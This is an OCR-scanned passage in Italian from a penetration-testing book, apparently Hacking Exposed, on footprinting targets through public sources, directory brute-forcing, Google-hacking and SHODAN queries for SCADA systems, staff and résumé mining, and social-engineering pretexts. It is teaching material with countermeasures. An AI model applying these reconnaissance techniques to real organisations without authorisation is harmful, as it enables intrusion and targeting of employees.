Un punto che gli hacker solitamente trascurano, ma a cui voi dovete prestare particolare
attenzione, ¢ rappresentato da cio che gli esperti del settore indicano come livelli 8 e 9
del modello OSI a sette livelli: politica e finanziamenti. Questi livelli spesso entreranno
nel vostro lavoro, in un modo o nell’altro, ma quando si tratta di autorizzazioni, possono
risultare particolarmente ostici. Avete I'autorizzazione a procedere con le vostre attivita?
E quali sono esattamente le vostre attivita? L'autorizzazione ¢ stata concessa dalla persona
giusta? E in forma scritta? Gli indirizzi IP da esaminare sono quelli giusti?> Chiedete a
chiunque si occupi di test di penetrazione se conosce la “carta per uscire di prigione” e
lo vedrete certamente sorridere.

Benché I'intima natura del footprinting preveda di muoversi con la massima discrezione
nello scoprire informazioni sono accessibili al pubblico relative a un bersaglio, conviene
sempre informare i superiori di quanto si intende fare, prima di iniziare.

Passo 3: informazioni accessibili al pubblico

Dopo tutti questi anni passati sul Web, ci capita ancora regolarmente di provare momenti
di riverenza per I'incredibile vastita di Internet e di pensare che ¢ ancora piuttosto giovane!
Ma lasciamo da parte queste cose ¢ cominciamo...

N/
c/' " Informazioni accessibili al pubblico

Popolarita: 9
Semplicita: 9
Impatto: 2
Grado di rischio: 7

La quantita di informazioni prontamente disponibili su di voi, la vostra organizzazione, i
suoi dipendenti e ogni altro aspetto che si possa immaginare ¢ davvero incredibile.
E dunque, quali sono gli aghi nel pagliaio che stiamo cercando?

* Pagine web aziendali
* Organizzazioni correlate

e Dettagli sulla sede
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* Informazioni sul personale
» Eventi correnti

* Riservatezza e politiche di sicurezza, oltre a dettagli tecnici che indichino il tipo di
meccanismo di sicurezza installato

¢ Informazioni archiviate
¢ Motori di ricerca e relazioni tra i dati

e Altre informazioni interessanti

Pagine web dell'organizzazione

Un esame accurato delle pagine web del bersaglio spesso consente di ottenere una buona
base di partenza. In molti casi un sito web fornisce informazioni eccessive, che possono
favorire 1 malintenzionati. Che lo crediate o no,abbiamo visto dettagli sulla configurazione
di sicurezza ed elenchi dettagliati di tutte le risorse utilizzate riportati direttamente sui
server web di Internet.

In piu, ¢ utile consultare il codice sorgente HTML, cercando in particolare 1 commenti.
Molti elementi non disponibili direttamente al pubblico sono riportati nei tag di commento
HTML come <,! e —-. E piu rapido visualizzare il codice sorgente offline, percio spesso
conviene eseguire un mirroring dell’intero sito in modo da poterlo esaminare offline,
purché il sito sia realizzato in modo da risultare facilmente prelevabile, quindi in HTML e
non Adobe Flash, solitamente in un formato Shockwave Flash (SWF). Disponendo di una
copia locale del sito bersaglio ¢ possibile eseguire ricerche di commenti o altri elementi
di interesse mediante appositi programmi, percio le attivita di footprinting risultano piu
efficienti. Tra gli strumenti per il mirroring di siti web ne citiamo due verificati e affidabili:

* Wget (gnu.org/software/wget/wget.html) per UNIX/Linux;
o Teleport Pro (tenmax.com) per Windows.

Non tutti i file e le directory di un sito web sono collegamenti diretti indicizzati da
Google, o inseriti in commenti HTML. L'attivita di ricerca talvolta richiede tecniche “a
forza bruta” che enumerino file e directory “nascosti” in un sito. Questo compito puo
essere svolto in modo automatizzato utilizzando uno strumento apposito quale OWASP
DirBuster (owasp.org/index.php/Category:OWASP_DirBuster_Project), che prevede nove
diversi elenchi di varia dimensione e differente livello di completezza, oltre a consentire
di utilizzarne altri. Una volta scelto un elenco e un tipo di estensione di file, DirBuster
tenta di enumerare file e directory nascosti in maniera ricorsiva (Figura 1.1). Comple-
tata I’enumerazione, DirBuster fornisce una funzionalita di reportistica che consente di
esportare 1 file/directory individuati insieme al codice di risposta associato alla richiesta.
Questo tipo di enumerazione a forza bruta ¢ estremamente pesante e attira 'attenzione,
percio DirBuster include anche una funzione di proxy per gestire il traffico attraverso
privoxy (argomento trattato in precedenza in questo capitolo).

Occorre considerare anche altri indirizzi web, oltre ai principali che iniziano con “http://
www” e “https://www”, per esempio www 1, www2, web, webl, test, test1 e cosi via. E
ce ne sono ancora altri, molti altri.

Molte organizzazioni utilizzano dei siti per gestire 'accesso remoto a risorse interne tra-
mite un browser web. Un esempio comune ¢ quello di Microsoft Outlook Web Access,
che opera come proxy per i server Microsoft Exchange interni da Internet. URL tipici
di questa risorsa sono https://owa.esempio.com o https://outlook.esempio.com.
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€ OWASP DirBuster 0.12 - Web Application Brute Forcing =] -2 | ]

File  Options About Help |

http:ffnmnan. hackingexposed.corm: 80/

\'.ITree ViEW\l\
Type | Found Response Size | Include | Status
Dir / 200 372 L] Scanning
Dir fserlety 30z 437 L] Waiting
Dir F2f 200 375 O Waiting
Current speed: 5 requests/sec (Select and right click for more options)

Hoerage speed: (T) 10, {C) 9 requests/sec

Parse Queue Size: 2229 Current number of running threads: T
Total Requests: 17710/175304 | [ Change |

Tirne To Finish: 04:31:50

| 4 Back | | [0 Pause || [ Stop | Report
Brute farceing dirs in / #3755/

Figura 1.1 File e directory individuati con DirBuster.

Analogamente, le organizzazioni che utilizzano mainframe, sistemi System/36 o AS/400,
potrebbero oftrire 'accesso remoto con browser web attraverso servizi come WebCon-
nect di OpenConnect (openconnect.com), che impiega un emulatore Java 3270 e 5250 e
consente di effettuare un accesso stile terminale a mainframe e sistemi midrange come
AS/400 tramite il browser del client.

Le reti private virtuali oVPN (Virtual Private Network) sono molto comuni, percio occorre
cercare indirizzi come http://vpn.esempio.com, https://vpn.esempio.com o http://www.
esempio.com/vpn; spesso si trovano cosl sitli web progettati per aiutare gli utenti a connet-
tersi alle VPN delle loro aziende.Talvolta si trovano informazioni sul fornitore della VPN
e dettagli sulla versione, oltre a istruzioni dettagliate su come prelevare e configurare il
software client VPN. Questi siti possono anche includere un numero telefonico da chia-
mare per assistenza, nel caso in cui I'hacker — ehm... volevamo dire il dipendente — abbia
difficolta a connettersi.

Organizzazioni correlate

Occorre cercare riferimenti o collegamenti ad altre organizzazioni in qualche modo legate
a quella bersaglio. Per esempio, molte organizzazioni aftidano all’esterno buona parte delle
attivita di sviluppo e progettazione dei siti web. E molto comune trovare commenti inse-
riti dall’autore in un file incluso nella pagina web principale. Per esempio, recentemente
abbiamo trovato la societa e l'autore di un file CSS (Cascading Style Sheet), a indicare il
fatto che lo sviluppo web era stato svolto all’esterno dell’azienda in questione. In altre
parole, questa azienda partner diventa un potenziale bersaglio.

/*

Author: <nome dell’azienda> <citta dove ha sede 1’azienda >
Developer: <nome dell’autore 1>, <nome dell’autore 2>
Client: <nome del cliente>

*/
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In certi casi un’organizzazione ¢ molto attente sulle informazioni fornite, ma i partner
non sono altrettanto attenti alla sicurezza e spesso rivelano dettagli aggiuntivi che, uniti
ad altre informazioni trovate altrove, possono consentire a un malintenzionato di otte-
nere un profilo piu dettagliato. Inoltre, queste informazioni fornite dal partner possono
essere utilizzate anche in seguito per un attacco diretto o indiretto, basato per esempio su
tecniche di ingegneria sociale. Se si spende il tempo necessario per controllare tutti 1 fili
di collegamento, alla fine spesso si otterranno i benefici conseguenti.

Dettagli sulla sede

Un indirizzo fisico puo essere molto utile per un hacker determinato, rappresentando
lo spunto per attacchi basati su tecniche non propriamente informatiche come cercare
nella spazzatura, attuare piani di sorveglianza, utilizzare I'ingegneria sociale. Inoltre un
indirizzo fisico puo anche condurre a un accesso non autorizzato a un edificio, a reti
cablate e wireless, computer, dispositivi mobili e cosi via. Gli aggressori possono anche
ottenere immagini da satellite dettagliate da varie fonti su Internet;la nostra fonte preferita
¢ Google Earth, accessibile all'indirizzo earth.google.com/, che in sostanza oftre a tutti la
visione dell’intero pianeta (o almeno delle aree metropolitane principali) consentendo
di zoomare su un particolare indirizzo per ottenere un incredibile livello di dettaglio
tramite un’applicazione client ben progettata. Direttamente sul Web, analoga funzionalita
¢ disponibile su Google Maps (Figura 1.2).

([T _— i
#® foundstone - Google Maps I+|
& | @ maps.google.it/maps? or._ge.r_pw.r_qf.Bbvm=by.1355534169,d.¥mséibpcl=400 77 7 C | | 8+ Google Pl A B~
+Tu Ricerca Immagini Maps Play Tube
GOUgle foundstone
Indicazioni stradali I miei luoghi = co
foundstone
. 27201 Puerta Real #400
McAfee Foundstone Division ' Mission Viejo, California 92691, United States
27201 Puerta Real #400, Mission Viejo, California, Stati 5 (949) 297-5600
Uniti foundstone.com
+1 949-297-5600 - foundstone.com ' ! 1 recensione Street View

1 recensione

Indicazioni stradali Cerca nelle vicinanze Salvain . Altrov

Indicazioni stradali  Cerca nelle vicinanze Altro~

Vedi tutti i 5 risuttati per foundstone

Segnala un problema - Lab ai Maps - Guida

Google Maps - 82012 Google - Termini & eondizioni duso - Privacy

B segnala un problema | K

Figura 1.2 Utilizzando Google Earth, chiunque ¢ in grado di individuare
la sede fisica di un‘organizzazione con grande dettaglio e chiarezza.
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Utilizzando Google Maps (maps.google.com) si pud passare alla Street View (Figura 1.3)
che fornisce una sorta di panoramica della zona a livello della strada, in modo da poter
acquisire familiarita con l'edificio, i dintorni, le vie e il traffico. Tutte queste informazioni
sono utili per i normali utenti di Internet, ma rappresentano un vero e proprio tesoro
per i malintenzionati.

E interessante notare che, quando I'automobile di Google percorre con la telecamera
le varie strade, non si limita a registrare 1 dati visuali per Street View, ma traccia anche
qualsiasi rete Wi-Fi con gli indirizzi MAC associati. Infatti, tramite Google Locations e
Skyhook ¢ possibile cercare informazioni di localita basandosi su un indirizzo MAC. I
pit curiosi possono trovare un’interfaccia di front-end per ’API di back-end di Google
Locations presso shodanhq. com/research/geomac. Basta fornire I'indirizzo MAC di un router
wireless e 1l sito interroga Google per trovare qualsiasi informazione di geolocalizzazione
disponibile. In occasione della conferenza BlackHat 2010, la presentazione “How I Met
Your Girlfriend” (traducibile in “Come ho incontrato la tua ragazza”) di Sammy Kamkar
ha mostrato come un hacker potrebbe sfruttare router personali vulnerabili, tecniche di
scripting cross-site, servizi di localizzazione e mappe Google per triangolare la posizione
di una persona. I dettagli dell’attacco sono troppo lunghi per essere riportati qui, ma chi
¢ interessato puo trovare la presentazione citata su youtube.com e vimeo.com.

¥ foundstone - Goagle Maps arF
(- @ maps.google.it/mapsThi=it&q=foundstone+ googlemaps&tbav=on.2,or.r_gc.r_pw.r_gf.8lbvm=bv.1355534169,d.Yms&bpel=400 77 v & ':." Google

Maps Pla

&0 Ug le foundstone
Indicazioni stradali I miei luoghi - - N
foundstone McAfee Foundstone Division alire

27201 Puerta Real #400
Mission Viejo, California 92691, United Statd
(949) 297-5600
foundstone.com
1 recensione

McAfee Foundstone Division

27201 Puerta Real #400. Mission Viejo, California, Stati
Uniti

+1 949-297-5600 - foundstone_com

1 recensione

Indicazioni stradali Cerca nelle vicinanze

Indicazioni stradali Cerca nelle vicinanze Altro~

Vedi tutti i 5 risultati per foundstone

Segnala un problema - Lab di Maps - Guida

Google Maps - ©2012 Google - Termini & condizioni d'uso - Privacy

Figura 1.3 Utilizzando Google Maps, potete vedere cid che vedra I'hacker.
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Informazioni sul personale

Nomi di contatto e indirizzi email sono dati particolarmente utili. Nella maggior parte
delle organizzazioni si utilizzano elaborazioni dei nomi reali dei dipendenti per formare
nomi utente e indirizzi e-mail (per esempio, il nome utente di Mario Rossi potrebbe essere
mariorossi, mario.rossi, mario_rossi, rossim o simili, e I'indirizzo e-mail potrebbe essere
mrossi@esempio.com o qualcosa di simile). Conoscendo uno di questi indirizzi, ¢ facile
immaginare gli altri. La conoscenza di un nome utente ¢ molto utile in seguito, quando
I'hacker tenta di ottenere I'accesso alle risorse di sistema. Tutti questi elementi possono
risultare utili anche in attacchi di ingegneria sociale (che tratteremo meglio piu avanti).
Gli hacker possono utilizzare 1 numeri di telefono per cercare di risalire all’'indirizzo fisi-
co di una persona tramite siti come phonenumbexr.com, 411.com e yellowpages.com. Possono
anche utilizzare il numerop di telefono per individuare meglio I'intervallo di numeri da
utilizzare con tecniche di war-dialing, o per lanciare attacchi di ingegneria sociale allo
scopo di ottenere informazioni aggiuntive o altro.

Altri dettagli personali si possono trovare in Internet utilizzando siti come blackbookonline.
info/, che fornisce collegamenti a diverse risorse, e peoplesearch.com, che in certi casi
consente agli hacker di ottenere informazioni personali che vanno dal numero di telefono
di casa al codice fiscale, a dati delle carte di credito, fedina penale e altro ancora.
Esistono poi numerosi siti web pubblici da cui si possono sottrarre informazioni sul
personale attuale o precedente, al fine di informarsi meglio sui punti deboli o critici di
un’azienda. I siti web che ¢ utile frequentare nelle attivita di footprinting comprendono i
classici social network (Facebook.com, Myspace. com,Reunion.com, Classmates.com, Twitter.com),
isiti di relazioni professionali (Linkedin.com, Plaxo.com), gestione delle carriere (Monster. com,
Careerbuilder.com, Dice.com) e quelli di genealogia familiare (Ancestry.com). Perfino i siti
per la gestione di fotografie online (Flickr.com, Photobucket.com) possono essere sfruttati
a danno di una persona o un’impresa.

Per quanto riguarda i siti a pagamento, ¢ possibile acquistare elenchi di dati sul personale
tramite servizi di business directory quali JigSaw.com (Figura 1.4). Questi siti sono utilizzati
principalmente da team di vendita che sono disposti a pagare per ottenere dati di contatto
di potenziali clienti. Tramite una sottoscrizione al sito ¢ possibile acquisire ed esportare
un singolo contatto o 'intera directory di un’azienda, con il semplice clic su un pulsante.
Inoltre,la maggior parte di questi siti di business directory prevede un sistema che incentiva
gli abbonati a mantenere aggiornati i dati di contatto. Quando un abbonato riceve un
nuovo biglietto da visita durante un incontro di lavoro, ¢ incoraggiato a creare un nuovo
record per il contatto corrispondente, se non esiste gia, o ad aggiornarlo se esiste e qualche
informazione ¢ cambiata. Per ogni record aggiornato, 'abbonato riceve dei punti che
puo utilizzare per acquisire ulteriori contatti gratuitamente. In questo modo gli abbonati
al sito sono incentivati a controllare che 1 dati del servizio siano aggiornati. Dal punto di
vista di un hacker, il fatto che queste informazioni siano registrate in modo centralizzato
e slano mantenute aggiornate ¢ molto utile. Pagando una certa cifra, ¢ possibile sfruttare
questi servizi di directory per automatizzare il processo di raccolta di informazioni di
base sul personale quali nomi, titoli, indirizzi email, numeri di telefono e sedi di lavoro.
Questi dati possono quindi essere utilizzati in attacchi di ingegneria sociale e di phishing.
Una volta scoperti e associati a un’azienda 1 nomi di dipendenti, collaboratori e fornitori,
gli hacker possono consultare 1 siti citati e cercare informazioni su tutte queste persone e
aziende. Disponendo di informazioni sufficienti, possono realizzare una matrice di punti
dati da utilizzare per un ragionamento deduttivo che puo consentire di svelare molti dettagli
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Figura 1.4 Informazioni sulla struttura di Foundstone recuperate attraverso JigSaw.

sulla configurazione e le vulnerabilita del bersaglio. In effetti, ci sono talmente tanti siti
web che riportano informazioni sulle risorse di un’organizzazione e la relativa sicurezza,
che potremmo dedicare all’argomento un intero capitolo. Basti dire che, utilizzando i dati
ospitati in questi siti web, si puo scoprire quasi tutto su un’azienda. Esistono strumenti di
data-mining, quali Maltego, che consentono di vagliare enormi quantita di informazioni da
varie fonti e tracciare mappe relazionali tra i punti dati raccolti. Esamineremo Maltego in
dettaglio pit avanti in questo capitolo, nel paragrafo dedicato alle informazioni archiviate.
Un’altra interessante fonte di informazioni si trova nella miriade di curriculum disponibili
online. Oggi le professioni del mondo IT sono talmente vaste e diverse che trovare la
persona piu adatta a una posizione specifica ¢ molto difficile. Uno dei modi migliori per
facilitare I'incontro tra domanda e offerta ¢ quello di fornire informazioni molto dettagliate
e talvolta anche sensibili negli annunci di lavoro e nei curriculum.

Supponete che un’organizzazione abbia bisogno di un esperto di sicurezza informatica
per assumere ruoli e funzioni lavorative molto specifici. Questa persona deve conoscere
bene questo e quello, essere capace di programmare questo e quest’altro, e cosl via, avete
capito. Lorganizzazione deve specificare questi dettagli per ottenere contatti qualificati
(marche e versioni di software, specifiche responsabilita, livello di esperienza richiesto
e cosl via). Se una societd pubblica un annuncio per cercare un professionista con, per
esempio, almeno cinque anni di esperienza nell’'uso di firewall CheckPoint e IDS Snort,
che tipo di firewall e IDS utilizza secondo voi? La societa potrebbe cercare un esperto di
rilevamento delle intrusioni per sviluppare e guidare il proprio team. Che cosa vi dice
questo fatto sul livello di capacita nel rilevamento delle intrusioni? Forse hanno problemi?
O non hanno nemmeno un simile sistema? Se I'annuncio non fornisce tutti 1 dettagli, una
telefonata potrebbe consentire di ottenerli. Lo stesso vale per un curriculum dettagliato:
basta spacciarsi per un cacciatore di teste e iniziare a fare domande. Questi tipi di dettagli
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possono aiutare un hacker a tracciare un quadro del sistema di sicurezza in uso presso
un’organizzazione bersaglio, cosa di estrema importanza quando si pianifica un attacco.
Se cercate in Google qualcosa del tipo “azienda resume firewall”, dove azienda ¢ il nome
dell’azienda bersaglio, probabilmente troverete un certo numero di résumé o curriculum
vitae di dipendenti attuali o passati dell’azienda in questione, con informazioni abbastanza
dettagliate sulle tecnologie che utilizzano o hanno utilizzato e i progetti su cui lavorano o
hanno lavorato. Siti per la ricerca di lavoro come monster.com e careerbuilder.com con-
tengono decine di milioni di curriculum e annunci di lavoro; cercando nomi di aziende
si potrebbero ottenere molti dettagli tecnici. Per poter eseguire ricerche tra i curriculum
raccolti in questi siti € necessario registrarsi e pagare una quota, ma per un hacker sareb-
be facile spacciarsi per un’azienda immaginaria ed effettuare il pagamento allo scopo di
ottenere 'accesso a milioni di curriculum.

Un’altra minaccia alla sicurezza di un’organizzazione, diversa dalla precedente ma reale,
puo provenire da dipendenti insoddisfatti, ex dipendenti, o anche siti che diffondono
informazioni riservate sugli affari interni delle aziende. Se chiedete a qualcuno qualche
aneddoto su dipendenti insoddisfatti, probabilmente sentirete narrare episodi di vendetta.
Non ¢ raro che le persone rubino, vendano e diffondano 1 segreti aziendali, danneggino
apparecchiature, distruggano dati, configurino bombe logiche per attivarsi in momenti
predeterminati, lascino back door che consentano un facile accesso in futuro, o svolgano
altre attivita di sabotaggio o simili. Questo tipo di minaccia rappresenta uno dei motivi per
cui oggi le procedure di licenziamento spesso prevedono il ricorso a guardie di sicurezza,
particolari misure precauzionali e persino la scorta fuori dall’edificio.

Gli aggressori potrebbero utilizzare queste informazioni a scopo di estorsione, attivita
sempre in voga. Potrebbero anche essere interessati al computer personale di un dipen-
dente, che probabilmente contiene dati di accesso al bersaglio. Un software che registra
1 tasti premuti sul computer di un dipendente potrebbe offrire a un hacker la strada per
entrare liberamente nelle aree riservate dell’organizzazione. Perché scervellarsi con firewall,
IDS, IPS e cosi via, quando I’hacker puo semplicemente impersonare un utente fidato?

Eventiin corso

Gli eventi in corso sono spesso di grande interesse per gli aggressori. Fusioni, acquisizion,
scandali, licenziamenti, assunzioni improvvise, riorganizzazioni, outsourcing, uso intenso di
partner temporanei e altri eventi possono fornire spunti, opportunita e situazioni che in
precedenza non esistevano. Per esempio, uno dei primi eventi che si verificano dopo una
fusione o un’acquisizione ¢ 'unione delle reti aziendali delle organizzazioni interessate.
La sicurezza spesso viene posta in secondo piano per ridurre i tempi dello scambio di
dati. Quante volte avete sentito frasi come:““So che non ¢ il modo piu sicuro per farlo,ma
dobbiamo farlo subito. Penseremo dopo alla sicurezza”. In realta “dopo” significa spesso
“mai”, e cosi un hacker puo sfruttare questa falla aperta in nome della fretta per accedere
a una connessione di back-end verso il bersaglio principale.

In questi eventi entra in gioco anche il fattore umano. Il livello di attenzione morale ¢
spesso basso, e le persone potrebbero essere piu interessate ad aggiornare il proprio cur-
riculum che a consultare 1 log di sicurezza o ad applicare 'ultima patch. Nel migliore dei
casi, sono in qualche modo distratte. Solitamente vi ¢ un notevole grado di confusione
e cambiamento durante questi periodi, e la maggior parte delle persone non vuole farsi
percepire come poco collaborativa o di ostacolo al progresso. Cio fornisce a un esperto
di ingegneria sociale maggiori opportunita di sfruttare eventuali punti deboli.
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A volte le opportunita si presentano anche nei tempi migliori. Quando un’azienda spe-
rimenta una rapida crescita, spesso i processi e le procedure interne non stanno al passo.
Chi si assicura che non si presenti un ospite non autorizzato ai colloqui per I'assunzione
di nuovi dipendenti? Chi ¢ che passeggia tra i corridoi degli uffici, un nuovo assunto o un
ospite indesiderato? Chi ¢ quell'uomo con un portatile nella sala conferenze? L'impresa
delle pulizie ¢ sempre la stessa? E il custode?

Nel caso di una societa quotata in borsa, le informazioni sugli eventi in corso sono larga-
mente disponibili su Internet. In effetti le societa quotate hanno I'obbligo di fornire rego-
larmente una serie di documenti informativi alle autorita di controllo. Questi documenti
forniscono numerose informazioni. Nel caso di societa statunitensi, due documenti di
particolare interesse sono il 10-Q (trimestrale) e il 10-K (annuale), che si possono cercare
sul database EDGAR della SEC ('autorita di controllo della borsa) all’indirizzo sec.gov
(Figura 1.5). Una volta trovati questi report, si possono cercare parole come “merger”,
“acquisition”, “acquire” e “subsequent event”: con un po’ di pazienza, si puo costruire
un diagramma dettagliato dell’intera organizzazione e relative filiali. Nel caso di societa
italiane, 'autorita di riferimento ¢ la CONSOB (consob.it) e anche qui si possono otte-
nere numerose informazioni consultando 1 documenti ufficiali.
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Figura 1.5 Le societa quotate in borsa sono obbligate a fornire regolarmente dei documenti
informativi all'autorita di controllo. Questi documenti forniscono interessanti informazioni sugli
eventi incorso e sulla struttura organizzativa.



La raccolta di informazioni: il footprinting 19

Anche i siti dedicati a informazioni aziendali e trading azionario come Yahoo Finanza
possono fornire dati simili. Per esempio, basta consultare il forum o gruppo di discussione
corrispondente a una societa per trovare numerose informazioni che potrebbero essere
utili per completarne il profilo. Siti simili esistono in tutto il mondo. Un hacker potrebbe
utilizzare queste informazioni per individuare i punti deboli di un’organizzazione. La
maggior parte degli hacker sceglie il percorso meno protetto, come ¢ ovvio.

Politiche per la privacy e la sicurezza e dettagli tecnici
che indicano i meccanismi di sicurezza attivi

Qualsiasi informazione che fornisca un’idea delle politiche relative alla privacy o alla sicu-
rezza aziendale, o dettagli tecnici relativi a hardware e software utilizzati per la protezione
dell’organizzazione pud essere utile a un hacker, per ovvie ragioni. E proprio quando si
acquisiscono queste informazioni che possono presentarsi delle opportunita di attacco.

Informazioni archiviate

Tenete presente che su Internet vi sono siti dove ¢ possibile recuperare copie archiviate
di informazioni non piu disponibili presso la fonte originale. Questi archivi potrebbero
consentire a un hacker di accedere a informazioni che sono state deliberatamente rimos-
se per ragioni d sicurezza. Come esempi citiamo Wayback Machine presso archive.org
(Figura 1.6) e i risultati della cache di Google (Figura 1.7).
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Figura 1.6 Con una ricerca presso archive.org si trovano molti anni di pagine
archiviate da http://www.yahoo.com.
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Figura 1.7 Il funzionamento interno dei motori di ricerca consente a chiunque di accedere a
contenuti dei siti esaminati che sono stati memorizzati nella cache. Qui é riportata una versione
memorizzata nella cache di http://www.yahoo.com, dall'archivio di Google.

Motori di ricerca e relazioni tra i dati

I motori di ricerca disponibili oggi sono davvero fantastici. In pochi secondi consen-
tono di trovare quasi tutto cid che si potrebbe cercare. Molti forniscono funzionalita di
ricerca avanzata che possono consentire di trovare quei dettagli che fanno la differenza.
Tra i nostri motori di ricerca preferiti vi sono google.com, yahoo.com e dogpile.com
(che invia le ricerche a pit motori come Google, Yahoo, Microsoft Live Search e Ask.
com). E importante conoscere le funzionalitd di ricerca avanzata di questi siti; si possono
trovare talmente tante informazioni riservate che sono stati scritti interi libri su come
“hackerare” i motori di ricerca, per esempio Google Hacking for Penetration Testers Vol. 2, di
Johnny Long (Syngress, 2007).

Ecco un semplice esempio:se cercate in Google “allinurl:tsweb/default.htm”, il motore di
ricerca rivela i server Microsoft Windows con attiva la connessione web desktop remoto.
Questo potrebbe portare a un accesso di console grafica al server tramite il protocollo
RDP (Remote Desktop Protocol) utilizzando semplicemente Internet Explorer e il client
ActiveX RDP che 1 server Windows in questione mettono a disposizione quando questa
funzionalita ¢ abilitata. Esistono letteralmente centinaia di altre ricerche che possono
consentire di scoprire di tutto, da webcam accessibili a servizi di amministrazione remo-
ta, a password per 'accesso a database. Non ¢ piu disponibile 1l sito originale di Johnny
Long, ma ¢ stato mantenuto 1l Google Hacking Database (GHDB), che si trova presso
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hackersforcharity.org/ghdb/. Questo database, benché non sia aggiornato frequentemente,
offre un fantastico elenco di molte delle migliori stringhe di ricerca per Google che gli
hacker possono utilizzare per ricavare informazioni dal Web.

Naturalmente il fatto di avere a disposizione il database di ricerche non ¢ sufficiente,
vero? Recentemente sono stati rilasciati alcuni strumenti che consentono di fare un passo
oltre: Athena 2.0 di Steve presso snakeoillabs (snakeoillabs.com); SiteDigger (foundstone.
com) e Wikto 2.0 di Roelof e compagni (sensepost.com/research/wikto). Questi strumenti
cercano nella cache di Google per trovare la miniera di vulnerabilita, errori, aspetti della
configurazione, informazioni proprietarie e dettagli interessanti per la sicurezza che si
nascondono nei siti web di tutto 1l mondo. SiteDigger (Figura 1.8) consente di puntare
su specifici dominio, utilizza il database GHDB o I'elenco di ricerche Foundstone, con-
sente di inviare nuove ricerche da aggiungere al database, permette di effettuare ricerche
“grezze” e, aspetto piu interessante di tutti, dispone di una funzionalita di aggiornamento
che preleva le ultime ricerche GHDB e/o Foundstone inserendole direttamente nello
strumento, che cosi € sempre perfettamente aggiornato.

Quando si cercano informazioni nei documenti di un sito web, non ci si deve limitare al
corpo del documento, ma ¢ utile analizzare 1 metadati nascosti. Strumenti come FOCA,
disponibile presso informaticab4.com/foca.aspx, consentono di individuare e analizzare 1
metadati memorizzati all'interno di un file. FOCA utilizza alcune tecniche di hacking
dei motori di ricerca descritte precedentemente per individuare estensioni di documenti
comuni quali .pdf, .doc(x), .xIs(x) e .ppt(x). Una volta individuati i file, lo strumento
consente all’utente di selezionare quali file scaricare o analizzare (Figura 1.9). Dopo I'a-
nalisi, FOCA suddivide 1 metadati in categorie e li presenta in un riepilogo come utenti,

FS SiteDigger

" Hnur:mail
) Mail 53

Figura 1.8 Foundstone SiteDigger cerca nella cache di Google
utilizzando il database GHDB (Google Hacking Database) per trovare siti vulnerabili.
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Figura 1.9 FOCA sfrutta i motori di ricerca per individuare documenti con specifiche estensioni
e analizzare i metadati in essi contenuti.

cartelle, stampanti, password, indirizzi email, server, sistemi operativi e version di software.
Al momento in cui scriviamo ¢ disponibile la versione FOCA 3.0, free e pro. La versione
free include tutte le funzionalitd appena descritte e molte altre offerte nella versione pro,
che tuttavia offre anche funzionalitd pitu avanzate per I'individuazione di vulnerabilita.
Una delle funzionalita di FOCA ¢ l'uso di SHODAN (Sentient Hyper-Optimized Data
Access Network), un motore di ricerca descritto da ZDnet come “Google per gli hacker”,
e accessibile presso shodanhq.com, progettato per trovare sistemi e dispositivi connessi a
Internet che utilizzano meccanismi potenzialmente non sicuri per autenticazione e au-
torizzazione. Le ricerche possono riguardare di tutto, dai router personali fino ai sistemi
SCADA avanzati. Gli hacker possono sfruttare la potenza di SHODAN attraverso la sua
interfaccia web o anche tramite un insieme di API per gli sviluppatori. E necessario ef-
fettuare la registrazione al sito per ottenere una chiave valida per accesso alle API. Per
esempio, un hacker puod eseguire la seguente query su SHODAN per individuare sistemi
SCADA vulnerabili (Figura 1.10):

http://www.shodanhq.com/search?q=simatic+HMI

I forum, newsgroup o gruppi di discussione Usenet costituiscono una ricca fonte di
informazioni. I professionisti IT utilizzano comunemente 1 newsgroup per ottenere un
rapido aiuto su problemi che non sono in grado di risolvere facilmente. Google fornisce
una comoda interfaccia web ai newsgroup di Usenet, completa con le ormai famose
funzionalita di ricerca avanzata. Per esempio, una semplice ricerca di “pix firewall config
help” consente di trovare centinaia di messaggi inviati da persone che chiedono aiuto per
la configurazione di un firewall Cisco PIX, come si vede nella Figura 1.11. In alcuni casi
1 messaggi contengono copie dei dati di configurazione del sistema in produzione, inclusi
indirizzi 1P, ACL, riferimenti delle password, mappe NAT (Network Address Translation)
e cosi via. Le ricerche di questo tipo possono essere ulteriormente raffinate cercando
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Figura 1.10 SHODA individua sistemi SCADA vulnerabili.
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Figura 1.11 Le opzioni di ricerca avanzata di Google
consentono di trovare rapidamente importanti informazioni.
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Se la persona in cerca di aiuto sa di non dover inviare dettagli di configurazione in fo-
rum pubblici come questi, potrebbe comunque cadere preda di un attacco di ingegneria
sociale. Un hacker potrebbe rispondere con un’ofterta amichevole di fornire assistenza
nell’amministrazione del sistema; se ¢ in grado di porsi in una posizione di fiducia, po-
trebbe riuscire a ottenere le informazioni riservate che gli servono, nonostante I'iniziale
cautela dell’amministratore.

Nel tentativo di automatizzare almeno una parte di questo processo, sono stati creati
strumenti come Maltego per eseguire tecniche di datamining e di collegamento di in-
formazioni correlate a un particolare tema. Maltego consente di aggregare e correlare
informazioni, visualizzando poi tali relazioni all’'utente in una rappresentazione grafica
facile da comprendere. I dati e le relazioni trovate possono essere estremamente utili a scopi
di footprinting. Per esempio, la Figura 1.12 mostra una mappa delle relazioni tra i punti
dati individuati nel tentativo di cercare informazioni sulla persona “Nathan Sportsman”.

Altre informazioni di interesse

Pelenco di idee e risorse fornito fin qui non ¢ certamente esaustivo, ma dovrebbe servire
come spunto per lanciarsi a tutta velocita sulla strada della ricerca di informazioni. Dati
riservati possono essere nascosti ovunque e possono presentarsi in molte forme. Impiegare
un po’ di tempo per fare ricerche creative e approfondite si rivelera un esercizio molto
utile, sia per gli hacker, sia per chi deve difendersi.

Investigate
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Figura 1.12 Maltego visualizza una mappa di relazioni per la persona “Nathan Sportsman"”.
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Q Contromisure per la sicurezza dei database pubblici

Molte delle informazioni discusse in precedenza devono essere rese pubbliche e di con-
seguenza ¢ difficile rimuoverle; questo vale soprattutto per le societa quotate. Tuttavia,
¢ importante valutare e classificare 1 tipi di informazioni rese disponibili al pubblico. II
Site Security Handbook (RFC 2196), disponibile presso faqs.org/rfcs/rfc2196.html, ¢
un’eccellente risorsa per molti aspetti relativi alle politiche di sicurezza. E utile consulta-
re periodicamente le fonti citate qui e cercare di rimuovere i dati riservati ovunque sia
possibile farlo. E utile anche I'uso di alias che non consentano di risalire direttamente alla
propria organizzazione, soprattutto quando si utilizzano newsgroup, mailing list o altri

forum pubblici.

" Passo 4: enumerazione di server WHOIS e DNS
Popolarita: 9
Semplicita: 9
Impatto: 3
Grado di rischio: 7

Benché buona parte dell’appeal di Internet si debba alla mancanza di un controllo
